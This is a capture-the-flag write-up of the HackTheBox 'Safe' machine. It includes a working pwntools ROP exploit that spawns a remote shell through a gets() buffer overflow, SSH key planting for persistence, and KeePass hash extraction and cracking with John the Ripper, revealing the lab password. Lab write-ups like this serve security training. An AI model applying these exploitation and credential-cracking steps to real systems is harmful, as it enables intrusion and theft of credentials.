HTB: Safe Writeup
Safe - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Safe |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | 25th October 2019 |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐☆☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐⭐☆
Summary
Safe is an easy difficulty Linux machine featuring a vulnerable 64-bit binary running on port 1337 that is susceptible to a buffer overflow attack. The exploitation requires Return Oriented Programming (ROP) techniques to bypass NX protections and achieve remote code execution. Post-exploitation involves cracking a KeePass database using John the Ripper with image keyfiles to recover the root password. TL;DR: Enumerate port 1337 → download vulnerable binary → exploit buffer overflow via ROP gadgets → gain user shell → crack KeePass database with image keyfile → obtain root credentials.
Reconnaissance
Port Scanning
nmap -PN -p- --min-rate=1000 -T4 10.10.10.147nmap -PN -sC -sV -p80,22,1337 10.10.10.147Results:
- Port 22: SSH (OpenSSH)
- Port 80: HTTP (Apache)
- Port 1337: Unknown service
Service Enumeration
Apache (Port 80)
Browsing to the web server reveals the default Apache page. Inspecting the page source reveals a crucial HTML comment:
This indicates that the binary running on port 1337 can be downloaded from the web server root. Download the binary for local analysis:
wget http://10.10.10.147/myappfile myapp# Output: ELF 64-bit LSB executable, x86-64Port 1337 Service
The binary is a 64-bit ELF executable. Running it locally echoes back user input, suggesting it reads from stdin and prints output.
Vulnerability Assessment
- Buffer Overflow: The binary uses the
gets()function, which is vulnerable to unbounded buffer reads - NX Enabled: DEP/NX protections are active, preventing direct shellcode execution
- ROP Gadgets Available: The binary imports
system()and contains suitable ROP gadgets for exploitation - Function Analysis: A non-standard
test()function exists that can be leveraged for ROP chains
Initial Foothold
Exploitation Path: Buffer Overflow via ROP
Step 1: Analyze Binary Protections
gdb ./myapp(gdb) checksec# Output shows NX is enabled, ASLR may be presentStep 2: Determine Buffer Size
Disassemble the main() function:
(gdb) disass main# Analysis shows: mov rax, [rbp-0x70]# Buffer size: 0x70 = 112 bytesThe buffer allocated is 112 bytes. Create a test input to confirm overflow:
python3 -c "print('A' * 112 + 'B' * 8)" | ./myappConfirm that RBP is overwritten with BBBBBBBB, validating we can control register values.
Step 3: Identify ROP Gadgets
Use ropper to find necessary gadgets:
ropper --file myapp --search "pop r13"# Output: 0x0000000000401206: pop r13; pop r14; pop r15; ret;Identify the address of the system() PLT entry:
objdump -d myapp | grep system# Output: 0x000000000040116e <+15>: call 0x401040 <system@plt>Identify the test() function address and its key instruction:
(gdb) disass test# Output shows:# 0x0000000000401156 <+4>: mov rdi,rsp# 0x0000000000401159 <+7>: jmp r13Step 4: Construct ROP Chain
Create the exploit script using pwntools:
#!/usr/bin/env python3from pwn import *
# Local testingp = process('./myapp')
# Payload constructionbuf = b"A" * 120 # Overflow buffer (112) + RBP (8)
# ROP gadgetspop_r13_r14_r15 = p64(0x401206) # pop r13; pop r14; pop r15; ret;system_call = p64(0x40116e) # call system@plttest_func = p64(0x401156) # mov rdi,rsp; jmp r13
# Binary string for /bin/sh with null terminatorbinsh = b"/bin/sh\x00"
# Build chain: buffer + pop gadget + system addr + junk + junk + test func + /bin/shchain = buf + pop_r13_r14_r15 + system_call + b"BBBBBBBB" + b"CCCCCCCC" + test_func + binsh
p.sendline(chain)p.interactive()Step 5: Test Locally
python3 exploit.py# Should spawn an interactive shellStep 6: Deploy Against Target
Modify the script to target the remote service:
#!/usr/bin/env python3from pwn import *
# Remote connectionp = remote("10.10.10.147", 1337)
# Payload constructionbuf = b"A" * 120
# ROP gadgetspop_r13_r14_r15 = p64(0x401206)system_call = p64(0x40116e)test_func = p64(0x401156)
binsh = b"/bin/sh\x00"
chain = buf + pop_r13_r14_r15 + system_call + b"BBBBBBBB" + b"CCCCCCCC" + test_func + binsh
p.sendline(chain)p.interactive()Execute the exploit:
python3 exploit_remote.py# Interactive shell as 'user' userPrivilege Escalation
Step 1: Stabilize Shell Access
Upgrade the shell using SSH key authentication:
# From the spawned shellmkdir -p ~/.ssh# On local machine, generate key if neededcat ~/.ssh/id_rsa.pub | ssh-copy-id -i /dev/stdin user@10.10.10.147# Now SSH into the box for stabilityssh user@10.10.10.147Step 2: Enumerate User Directory
ls -la ~# Output shows:# - MyPasswords.kdbx (KeePass database)# - Multiple JPG files (IMG_*.JPG)These images are likely keyfiles for the KeePass database.
Step 3: Extract KeePass Hashes
Transfer files to local machine:
scp user@10.10.10.147:~/* .Generate KeePass hashes using each image as a keyfile:
#!/bin/bashfor i in *.JPGdo keepass2john -k "$i" MyPasswords.kdbx >> hashesdoneStep 4: Crack KeePass Password
Use John the Ripper with rockyou.txt wordlist:
john hashes --wordlist=/usr/share/wordlists/rockyou.txt# Output: bullshitStep 5: Identify Correct Keyfile
The password is cracked, but we need to find which image is the correct keyfile. Create a script to test each image:
#!/bin/bashfor i in *.JPGdo echo bullshit | kpcli --kdb MyPasswords.kdbx --key "$i" --command quit >/dev/null 2>&1 if [[ $? -eq 0 ]] then echo "Key: $i" break fidoneExecute the script:
bash find_key.sh# Output: Key: IMG_0547.JPGStep 6: Access KeePass Database
Open the database with kpcli:
kpcli --kdb MyPasswords.kdbx --key IMG_0547.JPG# Enter password: bullshit(kpcli) cd MyPasswords(kpcli) ls(kpcli) show -f Root# Reveals root passwordStep 7: Obtain Root
su root# Enter password from KeePasscat /root/root.txtAttack Chain Summary
Enumerate Port 1337 → Download myapp Binary →Analyze Buffer Overflow (112 bytes) →Identify ROP Gadgets (pop r13; system@plt; test function) →Construct ROP Chain (/bin/sh execution) →Remote Code Execution as 'user' →SSH Access → Discover KeePass + Image Files →Extract Hash with Image Keyfile →Crack Password (rockyou.txt) →Identify Correct Keyfile (IMG_0547.JPG) →Access KeePass Database → Root Password → Root AccessTools Used
| Tool | Purpose |
|---|---|
nmap | Port and service discovery |
wget | Download binary from web server |
gdb / GEF | Binary analysis and debugging |
ropper | ROP gadget identification |
objdump | Disassembly and symbol extraction |
pwntools | ROP chain construction and exploitation |
keepass2john | KeePass hash extraction |
john | Password cracking |
kpcli | KeePass database interaction |
ssh / scp | Secure shell and file transfer |
Key Learnings
Techniques Practiced
- Return Oriented Programming (ROP) gadget chaining
- Buffer overflow exploitation in 64-bit binaries
- NX bypass techniques via ROP
- KeePass database analysis and cracking
- Keyfile-based credential recovery
- Binary reverse engineering with GDB and GEF
- Automated password cracking workflows
Lessons Learned
-
Buffer overflow remains critical: Despite modern protections, unsafe functions like
gets()create exploitable conditions requiring careful ROP construction. -
ROP gadget discovery is essential: When direct code execution is blocked by NX, identifying suitable gadgets becomes the primary attack vector.
-
Multi-factor security matters: KeePass keyfiles provide additional security layers; however, weak passwords and predictable keyfiles (named images) undermine this protection.
-
Automation accelerates exploitation: Scripting the keyfile discovery process dramatically reduces manual effort in privilege escalation.
-
Register calling conventions are critical: Understanding x64 calling conventions (RDI for first argument) is fundamental to crafting functional ROP chains.
-
Post-exploitation stabilization is important: Upgrading from a spawned shell to SSH access provides reliability and enables further enumeration.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>